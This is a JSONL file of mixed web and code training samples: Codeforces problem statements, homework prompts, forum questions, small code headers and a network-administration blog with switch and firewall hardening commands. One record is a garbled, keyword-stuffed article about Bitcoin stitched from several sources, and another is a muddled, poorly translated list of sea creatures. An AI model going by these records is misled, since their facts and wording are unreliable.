{"text": "Option 1. Entity-relationship and data models are said to model the \"real world.\" Respond to this statement and provide examples in support or opposition of this statement.\nOption 2. Please identify and describe a system that you use regularly. This system can be in your personal or professional life. Please describe how the system is used and your use of the system. Then describe the data available within the system, list and define entities you are familiar with, and then provide example data within the system.\n- 9 days ago\n- Organizing paper\n- BUS 308 Week 3 Final Paper Outline Draft\n- Tell us what you learned in this activity that is \"new to you\". How can you use this in your current professional life? How might you use it in the career that you see yourself in 5 years from now? How are you using these concepts at home?\n- Acc 455 Week 5 Team B assignment\n- individual project 3\n- assignment 600 words\n- Letter to the editor\n- mathlab homework\n- Week 10", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Vitalik the philatelist has a birthday today!\n\nAs he is a regular customer in a stamp store called 'Robin Bobin', the store management decided to make him a gift.\n\nVitalik wants to buy one stamp and the store will give him a non-empty set of the remaining stamps, such that the greatest common divisor (GCD) of the price of the stamps they give to him is more than one. If the GCD of prices of the purchased stamp and prices of present stamps set will be equal to 1, then Vitalik will leave the store completely happy.\n\nThe store management asks you to count the number of different situations in which Vitalik will leave the store completely happy. Since the required number of situations can be very large, you need to find the remainder of this number modulo 109 + 7. The situations are different if the stamps purchased by Vitalik are different, or if one of the present sets contains a stamp that the other present does not contain.", "source": "cpt_codeforces", "language": "en", "token_count": 206, "token_count_with_eod": 207, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Leafy sea dragon\nAt first glance it’s hard to imagine that this is not a plant, but a real fish. An amazing feature of this animal is almost transparent tentacles, which are very similar to algae. However, they do not help in movement, but serve only to cover up.\nThis fish (Halieutichthys intermedius) is very similar to deep fried pancake with huge bulging eyes.\nThis copy was found quite recently – in 2005. Known about him only that they live at a depth of at least 2000 meters.\nAbout this turtle have notes even in Chinese mythology. According to the legend, the man, who had many sins, had turned to this white turtle.\nGuinea the Blowfish\nThis fish dwells in the Pacific ocean. The main feature, as You’ve probably noticed, is that it is able to inflate like a balloon.\nHead Of The Gorgon\nBut this monster lives in the White sea. From the outside it seems as if it is a plant rooted in the bottom surface, however, in fact these tentacles are extremely agile, which allows the animal to move veryquickly in all directions. When the animal begins to move, it resembles a snake crawling on the head of the Gorgon Medusa.\nJapanese magnetography dog\nDespite its appearance, the fish is absolutely harmless to humans and eats only animals, Stripping them from the surface of the stones. Divers tell that this fish gives even pet and feed themselves with their hands.\nThe main feature of this fish is that it has very sharp thorns that are on both ends of the fin. Razor-sharp spikes used for self-defense, of course.\nAlthough it is not a fish, but an instance is also quite interesting. This creates an unusual little coral colony on the bottom surface and the polyps form a round, translucent clusters, which are very similar to little balls.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 400, "token_count_with_eod": 401, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "A platform designed to steer you through each step of the Futureworld Innovation process – from inception to validation. Now it’s easier to capture outputs during your innovation journey, track key decisions, measure your progress, and report to your stakeholders for their buy-in.\nTurn stakeholders into committed collaborators by sharing key information (that’s important to them) at the right time\nNurture a culture of innovation within your team and help them drive new, disruptive projects\nHarness the power of Design Thinking and Lean Startup to deliver what your customers want and need\nDevelop a scalable, repeatable, and step-by-step roadmap for innovation projects to lift off the ground", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 130, "token_count_with_eod": 131, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Tsondu and Tenzing are playing a card game. Tsondu has $$$n$$$ monsters with ability values $$$a_1, a_2, \\ldots, a_n$$$ while Tenzing has $$$m$$$ monsters with ability values $$$b_1, b_2, \\ldots, b_m$$$.\n\nTsondu and Tenzing take turns making moves, with Tsondu going first. In each move, the current player chooses two monsters: one on their side and one on the other side. Then, these monsters will fight each other. Suppose the ability values for the chosen monsters are $$$x$$$ and $$$y$$$ respectively, then the ability values of the monsters will become $$$x-y$$$ and $$$y-x$$$ respectively. If the ability value of any monster is smaller than or equal to $$$0$$$, the monster dies.\n\nThe game ends when at least one player has no monsters left alive. The winner is the player with at least one monster left alive. If both players have no monsters left alive, the game ends in a draw.\n\nFind the result of the game when both players play optimally.", "source": "cpt_codeforces", "language": "en", "token_count": 237, "token_count_with_eod": 238, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Vasya likes everything infinite. Now he is studying the properties of a sequence s, such that its first element is equal to a (s1 = a), and the difference between any two neighbouring elements is equal to c (si - si - 1 = c). In particular, Vasya wonders if his favourite integer b appears in this sequence, that is, there exists a positive integer i, such that si = b. Of course, you are the person he asks for a help.", "source": "cpt_codeforces", "language": "en", "token_count": 101, "token_count_with_eod": 102, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "/**\n * This header is generated by class-dump-z 0.2b.\n *\n * Source: /System/Library/PrivateFrameworks/MMCSServices.framework/MMCSServices\n */\n\n#import <MMCSServices/MMCSSimpleFile.h>\n\n\n@interface MMCSPutFile : MMCSSimpleFile {\n\tid _block;\t// 4 = 0x4\n\tid _updateBlock;\t// 8 = 0x8\n}\n@property(copy) id progressUpdateBlock;\t// G=0x4e55; S=0x4e69; @synthesize=_updateBlock\n@property(copy) id completionBlock;\t// G=0x4e1d; S=0x4e31; @synthesize=_block\n// declared property setter: - (void)setProgressUpdateBlock:(id)block;\t// 0x4e69\n// declared property getter: - (id)progressUpdateBlock;\t// 0x4e55\n// declared property setter: - (void)setCompletionBlock:(id)block;\t// 0x4e31\n// declared property getter: - (id)completionBlock;\t// 0x4e1d\n- (void)setProgress:(double)progress;\t// 0x4d5d\n- (void)dealloc;\t// 0x4d05\n@end", "source": "cpt_stack_code", "language": "code", "token_count": 294, "token_count_with_eod": 295, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "I’m trying to setup an alpine sshd container (on AWS Fargate) that runs only if needed that allows users to connect to other resources (in my case to have maintenance on an aws rds which is not publicly accessible).\nAs now I have setup everything and it is working fine, but I need help on some enhancements I’d like to apply\n1) is it possible to have the tunnels automatically created by the server after the user connects ? I did found nothing about that, only client side configurations. The reason is that I want to remove the configuration from the user as much as possible\n2) is there a way to create a DNS alias so I can set something like “permitopen=rds:3306” and the user then uses “-L 3307:rds:3306” ? Reason: I can simply restart the container to update the rds alias with a value from environmental variables/terraform/whatever. This makes switching rds very easy. I don’t like the idea of users having to use aws dns names (they are to loooong and possibly very similar to other RDS in same organization).Also maintaining ssh_config files on users side is not optimal… In addition those aliases will be used only by the container, so no route53 hosted zones, if possible\nThanks in advance !", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "KAUST-IAMCS Workshop on Modeling and Simulation of Wave Propagation and Applications\n- King Abdullah University of Science and Technology (KAUST)\n- Thuwal, Saudi Arabia\n- Conference Center (Building 19), Conference Halls 1 & 2\n- Christian Pelties, Ludwig Maximilian University of Munich (Germany)\n- The Discontinuous Galerkin Method for Realistic Earthquake Modeling on HPC Infrastructure\nWe will present the arbitrary high-order derivative discontinuous Galerkin (ADER-DG) method on three-dimensional unstructured tetrahedral meshes for realistic earthquake modeling. The support of unstructured tetrahedral meshes highly expedites the model building process and allows for complex topography and complicated geological subsurface structures. Typical problem sizes require a good performance on parallel machines in order to simulate desired high frequencies that is given for ADER-DG. A special focus will lie on the implementation on dynamic rupture sources where the fault slip is a spontaneous consequence of the state of the fault. The code has been benchmarked by comparing results of the SCEC test case with other established numerical methods such as Finite Difference and Spectral Boundary Integral. An important result is that the ADER-DG method avoids spurious high-frequency contributions in the slip rate spectra, usually present in other dynamic rupture solvers, and therefore does not require artificial Kelvin-Voigt damping. To demonstrate the capabilities of the high-order accurate ADER-DG scheme we use the 1992 Landers earthquake as an example. It represents a complex fault system including branching and six curved fault segments. Furthermore, topography is respected in the discretized model to capture the surface waves correctly. Strong mesh coarsening or refinement at areas of interest is applied to keep the computational costs feasible. Finally current problems and further developments will be discussed.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 369, "token_count_with_eod": 370, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "It is a simplified version of problem F2. The difference between them is the constraints (F1: $$$k \\le 2$$$, F2: $$$k \\le 10$$$).\n\nYou are given an integer $$$n$$$. Find the minimum integer $$$x$$$ such that $$$x \\ge n$$$ and the number $$$x$$$ is $$$k$$$-beautiful.\n\nA number is called $$$k$$$-beautiful if its decimal representation having no leading zeroes contains no more than $$$k$$$ different digits. E.g. if $$$k = 2$$$, the numbers $$$3434443$$$, $$$55550$$$, $$$777$$$ and $$$21$$$ are $$$k$$$-beautiful whereas the numbers $$$120$$$, $$$445435$$$ and $$$998244353$$$ are not.", "source": "cpt_codeforces", "language": "en", "token_count": 186, "token_count_with_eod": 187, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Laser Command is like Missile Command with a twist.\nYou have to charge your laser before you can fire and enemies can only be hit by the correct type of laser.\n(Volume warning: make sure to adjust your browser volume before starting the game)\n- A = charge pink/fuscia laser (release key to fire)\n- F/S = charge blue laser (release key to fire)\n- mouse cursor = aim laser\n(on \"How to play\" screen, for convenience)\n- PageUp = skip one level\n- PageDown = go back one level\n- Phaser = HTML5 game engine (http://phaser.io/)\n- GIMP for image editing\n- FL Studio 11 (+plugins) for music\n- NodeJS for build process\nLudum Dare 34 compo entry:\nThis game was created for the Ludum Dare #34 game jam. The theme was \"2-button controls\" and/or \"growing\". All art, music, and code was created in 48 hours by one person. Source code available here:", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 224, "token_count_with_eod": 225, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "#ifndef NORMALBRICK_H\n#define NORMALBRICK_H\n\n#include\"abstractbrick.h\"\n\nclass NormalBrick : public AbstractBrick\n{\npublic:\n  NormalBrick(QGraphicsItem *parent=nullptr);\n};\n\n#endif // NORMALBRICK_H", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Advanced theoretical network for modeling light matter interactIon\nThe website of ATLANTIC-RISE is finally open. We will enrich it very soon!\nYour email address will not be published. Required fields are marked *\nThis research is funded by the Marie Sklodowska-Curie Actions (MSCA) Research and Innovation Stack Exchange (RISE) of the European Union (EU) under Grant Agreement No. 823897.\nThis project has received funding from the European Union's Horizon 2020 research and innovation programme under the Marie Sklodowska-Curie Actions (2019-2023) under grant agreement No 823897.\n© 2023 ATLANTIC. Built using WordPress and OnePage Express Theme.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 164, "token_count_with_eod": 165, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I will be extremely surprised if the great majority of Bitcoin users are not identified with relatively high confidence and ease in the near future. Transaction Size : 0 bytes Transaction Fee :.00000000 Satoshi per Byte : 0 Based on your data and this recently mined transaction we recommend a fee.00000000 BTC to get it into the next few blocks Advanced Options. It's theft-proof too for each bitcoin is work from home jobs elko nv cryptographically signed by the mind of its owner. Retrieved b Dodd, Nigel (2017). The timestamp of the block is 18:15:05. These include a computer programmer and a drug dealer. 1 Because of its size and complexity, downloading and verifying the entire blockchain is not suitable for all computing devices. 119 Scalability Main article: Bitcoin scalability problem The blocks in the blockchain were originally limited to 32 megabytes in size.\nAnswers to frequently asked\nDetails Ive omitted: Although this post has described the main ideas behind Bitcoin, there are many details I havent mentioned. In the early days of Bitcoin transaction fees were mostly set to zero, but as Bitcoin has gained in popularity, transaction fees have gradually bitcoin transaction fee so high risen, and are now a substantial additional incentive on top of the 25 bitcoin reward for mining a block. 175 176 State and provincial securities regulators, coordinated through the North American Securities Administrators Association, are investigating \"bitcoin scams\" and ICOs in 40 jurisdictions. \"Users Bitcoins Seized by DEA\". 78 About 20 of all bitcoins are believed to be lost. Encyclopedia of Physical Bitcoins and Crypto-Currencies. Is the Bitcoin address.\nThe obvious thing to do is for the payer to sign the whole transaction (apart from the transaction hash, which, of course, must be generated later). Line 6 tells us the size (in bytes) of the transaction. A more serious problem occurs if she broadcasts two separate transactions in which she spends the same infocoin with Bob and Charlie, respectively. Andresen later became lead developer at the Bitcoin Foundation. 34 Many altcoins have been created since then. 33 By 9 January the price had risen.38, but then crashed by 49.80 over the next 16 days. This is how Bitcoin works for most users. The second output bitcoin transaction fee so high is defined lines 23 and 24, with a similar format to the first output. Lets suppose that the miners working on fork B are the next to successfully mine a block: After they receive news that this has happened, the miners working on fork A will notice that fork B is now.\nBitcoin, developer Reference, bitcoin\nThis will be enough to solve a simple proof-of-work puzzle, but not enough to solve a more difficult proof-of-work puzzle. Archived from the original on Retrieved Berson, Susan. What are the advantages of Bitcoin? This is used as an identifier for the transaction. The solution, of course, is to have a mechanism for providing change. \"Bitcoin worth almost as much as gold\". The n0 tells us its to be the first output from that transaction; well see soon how multiple outputs (and inputs) from a transaction work, so dont worry too much about this for now. \"Chinese bitcoin miners eye sites in energy-rich Canada\". The solution is to send you.15 bitcoins, and to send.05 bitcoins to a Bitcoin address which I own. For bitcoin's price to stabilize, a large scale economy needs to develop with more businesses and users. 107 Bitcoin Cash has a larger block size limit and had an identical blockchain at the time of fork. Originally, these tokens were struck in brass, but later used precious metals as bitcoin prices increased. 147 The exact number of bitcoin millionaires is uncertain as a single person can have more than one bitcoin wallet.\nThe Computationally-Difficult Problem Bitcoin mining a block is difficult because the SHA-256 hash of a block's header must be lower than or equal to the target in order for the block to be accepted by the network. No-one else could have created that bit string, and so Alice cant turn around and say No, I didnt mean to give Bob an infocoin. Its straightforward to modify the Bitcoin protocol so that the time to validation is much more sharply peaked around ten minutes. In general, gambling with Bitcoin is legal although this usually depends on the user's country or state of residence. Well call this ledger the block chain, since thats what the complete record will be called in Bitcoin, once we get. Archived from the original (PDF) on 28 December 2013. This allows the core of Bitcoin to be trusted for being completely neutral, transparent and predictable. Griffin and Amin Shams in 2018 suggests that trading associated with increases in the amount of the Tether cryptocurrency and associated trading at the Bitfinex exchange account for about half of the price increase in bitcoin in late 2017.\nArchived (PDF) from the original on 21 September 2013. Additionally, merchant processors exist to assist merchants in processing transactions, converting bitcoins to fiat currency and depositing funds directly into merchants' bank accounts daily. \"Bitcoin value gyrates amid report of Department of Justice manipulation investigation\". Ill analyse double spending shortly. Individual mining rigs often have to wait for long periods to confirm a block of transactions and receive payment.\nHow the Bitcoin protocol actually works\nThis requires miners to perform these calculations before their blocks are accepted by the network and before they are rewarded. The blocksize limit is what ensures everyone can participate in the Bitcoin network, and it ensures everyone can participate anonymously should they choose too. Every 2,016 blocks (approximately 14 days at roughly 10 min per block the difficulty target is adjusted based on the network's recent performance, with the aim of keeping the average time between new blocks at ten minutes. Much of the trust in Bitcoin comes from the fact that it requires no trust at all. Archived from the original on 19 December 2013. The inputs in every transaction can be tracked in the blockchain to every previous transaction's outputs. Attempting to assign special rights to a local authority in the rules of the global Bitcoin network is not a practical possibility. Volatility is calculated on a yearly basis. Archived (PDF) from the original on Retrieved Put in the simplest terms, the quest for decentralised trust has quickly become an environmental disaster. Bitcoin nodes use the block chain to distinguish legitimate Bitcoin transactions from attempts to re-spend coins that have already been spent elsewhere. 36 On 5 December 2013, the People's Bank of China prohibited Chinese financial institutions from using bitcoins.\nBitcoin Energy Consumption Index\nIn general, it is common for important breakthroughs to be perceived as being controversial before their benefits are well understood. A b Odell, Matt (21 September 2015). Archived (PDF) from the original on Retrieved \"Customer Advisory: Understand the Risks of Virtual Currency Trading\" (PDF). \"Understanding the blockchain hype: Why much of it is nothing more than snake oil and spin\". 113 In 2014 mining pool obtained 51 hashing power which raised significant controversies about the safety of the network. For each block of transactions validated, the successful miner receives a bitcoin reward.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1547, "token_count_with_eod": 1548, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Server Clash: DELL's Quad Opteron DELL R815 vs HP's DL380 G7 and SGI's Altix UV10by Johan De Gelas on September 9, 2010 7:30 AM EST\nThe Quad Opteron Alternative\nServers with the newest Intel six-core Xeon hit the market in April. The fastest six-cores Xeons were able to offer up to twice the performance of six-core Opteron “Istanbul”. The reason for this was that the age of the integer core in AMD's Opteron was starting to show. While the floating point part got a significant overhaul in 2007 with the AMD \"Barcelona\" quad-core chip, the integer part was a tuned version of the K8, launched back in 2003. This was partly compensated by large improvements in the multi-core performance scaling departement: HT-assist, faster CPU interconnects, larger L3 caches, and so on.\nTo counter this lower per-core performance, AMD's efforts focused on the \"Magny-Cours\" MCMs that scaled even better thanks to HT 3.0 and four DDR3 memory controllers. AMD’s twelve-core processors were launched at the end of March 2010, but servers based on these “Magny-Cours” Opterons were hard to find. So for a few months, Intel dominated the midrange and high-end server market. HP and Dell informed us that they would launch the \"Magny-Cours\" servers in June 2010. That is history now, and server buyers have an alternative again for the ubiquitous Xeon Servers.\nAMD’s strategy to make their newest platform attractive is pretty simple: be very generous with cores. For example, you get 12 Opteron cores at 2.1GHz for the price of a six-core Xeon 2.66GHz (See our overview of SKUs). In our previous article, we measured that on average, a dual socket twelve-core Opteron is competitive with a similar Xeon server. It is a pretty muddy picture though: the Opteron wins in some applications, the Xeon wins in others. The extra DDR3 memory channel and the resulting higher bandwidth makes the Opteron the choice for most HPC applications. The Opteron has a small advantage in OLAP databases and the virtualization benchmarks are a neck and neck race. The Xeon wins in applications like rendering, OLTP and ERP, although again with a small margin.\nBut if the AMD platform really wants to lure away significant numbers of customers, AMD will have to do better than being slightly faster or slightly slower. There are many more Xeon based servers out there, so AMD Opteron based servers have to rise above the crowd. And they did: the “core generosity” didn’t end with offering more cores per socket. All 6100 Opterons are quad socket capable: the price per core stays the same whether you want 12, 24 or 48 cores in your machine. AMD says they have “shattered the 4P tax, making 2P and 4P processors the same price.”\nSo dual socket Opterons servers are ok, offering competitive performance at a slightly lower price, most of the time. Nice, but not a head turner. The really interesting servers of the AMD platforms should be the quad socket ones. For a small price premium you get twice as many DIMM slots and processors as a dual socket Xeon server. That means that a quad socket Opteron 6100 positions itself as a high-end alternative for a Dual Xeon 5600 server. If we take a quick look at the actual pricing of the large OEMs, the picture becomes very clear.\nCompared to the DL380 G7 (72GB) speced above, the Dell R815 offers twice the amount of RAM while offering—theoretically—twice as much performance. The extra DIMM slots pay off: if you want 128GB, the dual Xeon servers have to use the more expensive 8GB DIMMs.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Last night, when the wind picked up, promising heat and dryness and itching skin and crunchy nose today, I stepped outside to look at it. I saw clear air and shiny leaves and the tiniest Pleiades ever…but it was the Pleiades…in Southern California…a rare sight indeed. I was floored. And I was grateful.\nThe tiny things represent big things. The tiny accumulate into big.\nA lot of crap and exhaustion and stress today. But…I saw the Pleiades.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 105, "token_count_with_eod": 106, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "A pseudotree is a connected graph which has exactly one cycle and no self-loops. Note that a pseudotree may contain multiple-edges. It can be shown that a pseudotree with $$$n$$$ vertices always contains $$$n$$$ edges.\n\nAfter deleting all edges on the cycle in the pseudotree, a forest$$$^{\\dagger}$$$ will be formed. It can be shown that each tree in the forest will contain exactly one vertex which is on cycle before removing the edges. If all trees in the forest have the same depth$$$^{\\ddagger}$$$ when picking the vertex on cycle as root, we call the original pseudotree flower-like.\n\nOur friend sszcdjr, had a flower-like pseudotree with $$$n$$$ vertices and $$$n$$$ edges. However, he forgot all the edges in the pseudotree. Fortunately, he still remembers the degrees of vertices. Specifically, the degree of the $$$i$$$-th vertex is $$$d_i$$$.\n\nYou have to help sszcdjr construct a possible flower-like pseudotree with $$$n$$$ vertices, where the degree of the $$$i$$$-th vertex is exactly $$$d_i$$$, or tell him that it is impossible.\n\n$$$^{\\dagger}$$$ A forest is a graph in which all connectivity components are trees. A connected graph without cycles and self-loops is called a tree.\n\n$$$^{\\ddagger}$$$ The depth of a tree with a root is the maximum distance from the root to the vertex of this tree.", "source": "cpt_codeforces", "language": "en", "token_count": 320, "token_count_with_eod": 321, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I am making an open-source software that is an alternative version of another very popular software, Postman. The inspiration reflects mainly on user interface and concepts. No source code was copied from this software, I wrote my own entirely.\nI searched about copyright licenses and their terms of service say (Section 8):\nYou and your Users shall not: (...) create any derivative works based on the Services;\nand also (Section 4):\nYou acknowledge and agree that Postman (...) have and retain all legal right (...) in the Services including but not limited to any ideas, concepts, inventions, systems, platforms, interfaces, tools, utilities, user interface, algorithms, logic, formula, scripts, work flows, processes, software, (...)\nHowever, it gets more complicated because some parts of their code are open-source on GitHub, under Apache license.\nThis related question answer argues that \"Copyrights are about the actual source code, not about the ideas/concepts that are represented in that source code.\"\nAm I infringing their license by creating my software?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 215, "token_count_with_eod": 216, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I would like to upgrade my current NetScaler VPX Express configuration via GUI. For some security reason Internet Explorer and FireFox aren’t able to access the GUI. They return the error message that the NetScaler is using a wrong SSL certificate.\nThe default SSL self-signed certificate is installed on the appliance. I have uploaded a “real” certificate to content switch and load balancing. I would like to use the same certificate for GUI management. To change the certificate, access the NetScaler via SSH.\nCheck the current certificate run the following command and you will get the following output.\nsh run | grep “bind ssl service”\nbind ssl service nshttps-::1l-443 -certkeyName ns-server-certificate\nbind ssl service nsrpcs-::1l-3008 -certkeyName ns-server-certificate\nbind ssl service nskrpcs-127.0.0.1-3009 -certkeyName ns-server-certificate\nbind ssl service nshttps-127.0.0.1-443 -certkeyName ns-server-certificate\nbind ssl service nsrpcs-127.0.0.1-3008 -certkeyName ns-server-certificate\nIf you would like to see all your available certificate enter the following command.\n> sh run | grep “ssl certKey”\nadd ssl certKey ns-server-certificate -cert ns-server.cert -key ns-server.key\nadd ssl certKey wildcart-booches-nl -cert sslcert-wildcard-booches-nl.pem -key passwd-private-wildcard-1route-nl.pem -passcrypt “adfadf&*fU=”\nadd ssl certKey root-booches -cert cacert.pem\nI would like to bind the certificate “wildcard-booches-nl”, so I use the following commands to bind the certificate to the different management services.\nbind ssl service nskrpcs-127.0.0.1-3009 -certkeyName wildcard-booches-nl\nbind ssl service nshttps-127.0.0.1-443 -certkeyName wildcard-booches-nl\nbind ssl service nsrpcs-127.0.0.1-3008 -certkeyName wildcard-booches-nl\nManaging networking components is possible via a web interface or via a command-line interface. It doesn’t matter which method you prefer, but it does matter that the connection should be secure. If you use telnet (cli) or http (web interface) the management traffic is send clear-text across the network.\nI still notice that a lot of people use insecure communiction methods. It is preferred to use ssh (cli) or https (web interface) to manage your components. The commands below can be used with HP ProCurve components to enable ssh and https and disable telnet and http management protocols.(The key size depends on the type of component and firmware version used)\nswitch01(config)# crypto key generate ssh rsa bits 2048\nswitch01(config)# ip ssh\nswitch01(config)# no telnet-server\nswitch01(config)# crypto key generate cert rsa <1024|2048>\nswitch01(config)# crypto host-cert generate self-signed\nValidity start date [02/16/2015]:\nValidity end date [02/16/2016]: 09/23/2320\nCommon name [10.10.1.99]: switch01.booches.local\nOrganizational unit [Dept Name]: ICT\nOrganization [Company Name]: Booches\nCity or location [City]: Bocholtz\nState name [State]: Limburg\nCountry code [US]: NL\nswitch01(config)# web-management ssl\nswitch01(config)# no web-management plaintext\nNext to using secure protocols, it is preferred to create unique credentials for every administrator. One way to create unique credentials is by configuring RADIUS / TACACS authentication. A common way is you configure RADIUS between the switch and the Active Directory. The following commands can be used to configure RADIUS on HP ProCurve switches.\nswitch01(config)# radius-server host 10.10.100.1 key <shared key>\nswitch01(config)# radius-server host 10.10.100.2 key <shared key>\nswitch01(config)# aaa authentication web login radius local\nswitch01(config)# aaa authentication web enable radius local\nswitch01(config)# aaa authentication ssh login radius local\nswitch01(config)# aaa authentication ssh enable radius local\nswitch01(config)# aaa authentication login privilege-mode\nBy default, remote access VPN users aren’t able to manage a Cisco ASA firewall on the inside interface using any kind of management protocol (SSH, telnet, HTTPS).\nYou can enable remote management by specifying the management-access interface. You can specify the interface via the CLI or via the Cisco Adaptive Security Device Manager (ASDM). Both methods are specified below.\nfw01/booches.nl/act# configure terminal\nfw01/booches.nl/act(config)# management-access inside\nWhen using the Management Access feature with remote VPN connections (IPSec or SSL VPN) don’t forget to add the VPN pool to the corresponding management access protocols on the interface you specified as management access interface\nA lot of customers have different methods for their IP address management. Most of them use some kind of static documentation, like an Excel sheet. In the past I implemented IPplan multiple times. I like this tool, because it dynamically scans multiple IP subnets, using ICMP and/or Nmap. Another advantage of IPplan is its ability to perform hostname lookups.\nOften I install IPplan on an active management system, like CactiEZ. The following howto shows the steps to implement IPplan under CactiEZ.\nThe first step is downloading the appropriate tar.gz file and extract his file in /var/www/html, like shown below.\ntar zxvf ipplan-4.92a.tar.gz\nNext I change the ownership and permissions of the ipplan directory.\nchown –R apache:apache ipplan\nchmod –R 750 ipplan\nAfter changing the permissions I create the necessary database for ipplan.\nmysql –u root –p\nmysql> create database ipplan;\nThis creates a database called ipplan. Now we need to create a user with the appropriate permissions for the ipplan database.\nmysql> GRANT SELECT,INSERT,UPDATE,DELETE on ipplan.* \\\n-> TO ipplan@localhost IDENTIFIED by ‘password’;\nYou can change the value ‘password’ to a password you wish. Change the credentials, configured in the previous step, in the file called config.php.\nOpen a web browser and point it to the installation script in the admin directory (http://ip-address/ipplan/admin/install.php). You will be prompted to create the database schema. The user created above does not have enough permissions to create tables so you will need to either copy the statements into the database, or temporarily change the database password in the config.php file to a database user that has enough rights to do this. You could be asked to enter user credentials for the website. This user credentials can be found in config.php.\nI always load the statements by copying the display output from the install.php script into a file (ipplan.sql) and then executing the file using mysql statements.\nmysql –u root –p ipplan < ipplan.sql\nThe basic installation is now complete. We will now go ahead and create a private menu. Open the file config.php and find the section START OF MENU EXTENSION. Change this section into the following to create a private menu.\n// private menu extensions to the ipplan menu system\n..|Show used area’s|http://<ip address>/ipplan/user/modifyarearange.php?cust=1\n..|Show used subnets|http://<ip address>/ipplan/user/treeview.php\n..|Create new subnets|http://<ip address>/ipplan/user/createsubnetform.php\n..|Edit subnets|http://<ip address>/ipplan/user/modifybaseform.php\nThe IPplan poller needs to be added to the crontab configuration. The IPplan poller uses a custom file to know which IP addresses the scan. I normally create a .txt file. The following output show the syntax for the .txt file.\nI configure the poller to run every day at 9, 12 and 15. You can edit the crontab with the command:\n# Crontab for IPplan poller\n0 9,12,15 * * * php /var/www/html/ipplan/contrib/ipplan-poller.php -hostnames -c 1 -f /var/www/html/ipplan/4IP-Networks.txt\nThere is one last step to take. When you manually execute the command above, you will receive the following error message:\nCannot find NMAP!\nThe last step is to install NMAP and configure its location in config.php. CactiEZ uses yum to install packages. So I use the following command to install nmap.\nyum install nmap\nNmap can be found in the directory /usr/bin/. Look for the nmap section in config.php and change the nmap configuration to the following.\nThe rest of the configuration needs to be done through the web interface. My advise is to configure some user groups and users, before adding subnets to IPplan. You can also change more settings in config.php to match it to your own environment, like the e-mailserver and helpdesk e-mail address.\nSometimes you receive Fatal error: require_once(): Failed opening required ‘../adodb/adodb.inc.php’ message. I resolved this issue by changing line 42 & 43 in ipplan-poller.php from:\nThis should solve the problem.\nI played a little with Cacti today and installed the Plugin Architecture 2.1. While reading some forums a lot of people are talking about the Plugin Management functionality. I looked and searched in my complete Cacti installation, checked all the configurations which can be made, but I couldn’t find anything about Plugin Management.\nAfter some more searching on forums I found how to enable the Plugin Management. When you download the Plugin Architecture ZIP file, the ZIP contains a file called pa.sql. This file needs to be imported into the Cacti database with the following command:\nmysql -u root -p cacti < pa.sql\nAfter executing the command you can enable Plugin Management per user under User Management.\nI haven’t played a lot with Cacti lately, but my colleague told me about a new plugin. This new plugin in called Realtime and I find it very useful. As you all know, Cacti only polls after a certain amount of minutes. Sometimes it is useful to get real-time bandwidth utilization statistics. In most cases I always use tools like STG or Interface Traffic Indicator (both can be found on the Tools page) to get real-time statistics. The Realtime plugin allows you to get real-time bandwidth utilization statistics through Cacti. You can download the Realtime plugin here, more information can be found at CactiUsers.org.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 2407, "token_count_with_eod": 2408, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "I have attached a template that I am working on and struggling with \"resetting\" the animation. I want the user to be able to click the forward button and back buttons to scroll left to right. But once the animation has played, if a hyperlink returns to that slide a second time, the animation doesn't play again, it just displays the end position of the animated object. I have played with auto rewind and reverse, but this happens immediately, not on exit of the slide. I would like to be able to repeat the animation each time that slide is entered.\nPerhaps I have my animation of the wrong side of the click? Should the click start the animation rather than be a hyperlink to a new slide? I think I just have a mental block.\nThanks for any advise.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 160, "token_count_with_eod": 161, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
